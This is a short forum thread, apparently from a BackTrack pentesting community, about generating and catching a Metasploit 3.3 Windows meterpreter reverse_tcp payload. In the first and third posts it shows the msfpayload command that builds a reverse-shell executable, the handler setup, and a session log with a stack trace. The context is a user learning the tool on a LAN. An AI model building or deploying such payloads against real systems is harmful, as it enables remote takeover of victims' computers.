Results 1 to 5 of 5

Thread: Metasloit 3.3 examples or video

  1. #1
    Just burned his ISO BlownCPU's Avatar
    Join Date
    Jan 2009
    Posts
    7

    Default Metasloit 3.3 examples or video

    Hi everyone,

    After extensive searches I'm resorting to asking here.

    I'm looking for some examples of commands on how to use metasploit 3.3. There are lots of videos etc on 3.2 but 3.3 has just a different syntax altogether.

    I have downloaded the user guide but that doesn't give me the answer I'm looking for.

    I'm trying to to do a simlpe thing, to use the windows reverse tcp. In 3.2 the command would look like this:
    Code:
    ./msfconsole
    
    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=5000 x > lan.exe
    I'm looking for same step by step solution for 3.3, if someone could point me in the right dirrection I would much appreciate it :-)

    Cheers,

    Blown CPU

  2. #2
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012
    To be successful here you should read all of the following.
    ForumRules
    ForumFAQ
    If you are new to Back|Track
    Back|Track Wiki
    Failure to do so will probably get your threads deleted or worse.

  3. #3
    Just burned his ISO BlownCPU's Avatar
    Join Date
    Jan 2009
    Posts
    7

    Default

    Thanks for the reply, a very useful link :-)

    I'm getting a problem which I don't understand, I'm getting a broken pipe? Whatever that is, what could I be doing wrong?
    Here is the code:

    Code:
    msf exploit(handler) > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LPORT 31900
    LPORT => 31900
    msf exploit(handler) > set LHOST 192.168.1.19
    LHOST => 192.168.1.19
    msf exploit(handler) > exploit
    [*] Handler binding to LHOST 0.0.0.0
    [*] Started reverse handler
    [*] Starting the payload handler...
    [*] Transmitting intermediate stager for over-sized stage...(191 bytes)
    [*] Sending stage (2650 bytes)
    [*] Sleeping before handling stage...
    [*] Uploading DLL (75787 bytes)...
    [*] Upload completed.
    [*] Meterpreter session 1 opened (192.168.1.19:31900 -> ??)
    
    
    meterpreter > use -l
    stdapi
    incognito
    priv
    espiameterpreter > use priv
    Loading extension priv...[-]
    failure: Broken pipe /pentest/exploits/framework3/lib/rex/io/stream.rb:40:in `syswrite'
    /pentest/exploits/framework3/lib/rex/io/stream.rb:40:in `write'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:59:in `send_packet'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:92:in `send_packet_wait_response'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/client_core.rb:115:in `load_library'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/client_core.rb:157:in `use'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:266:in `cmd_use'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:254:in `each'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:254:in `cmd_use'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'
    /pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `call'
    /pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `run'
    /pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'
    /pentest/exploits/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'
    /pentest/exploits/framework3/lib/rex/ui/interactive.rb:48:in `interact'
    /pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/core.rb:997:in `cmd_sessions'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'
    /pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'
    /pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'
    /pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'
    ./msfconsole:82
    meterpreter >
    I've got an "exe" running on a XP SP3 machine which was created using Metasploit 3.3 and is only a "windows/meterpreter/reverse_tcp" by itself.
    Connection works fine just can't issue it any commands for some reason like "ps".

    Cheers,

    B-CPU

  4. #4
    Developer
    Join Date
    Mar 2007
    Posts
    6,124

    Default

    If your msf totally up to date with svn?

  5. #5
    Just burned his ISO BlownCPU's Avatar
    Join Date
    Jan 2009
    Posts
    7

    Default

    Thanks for your help, will do an update and let you know.

    Great work BTW :-)

    Blown CPU

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •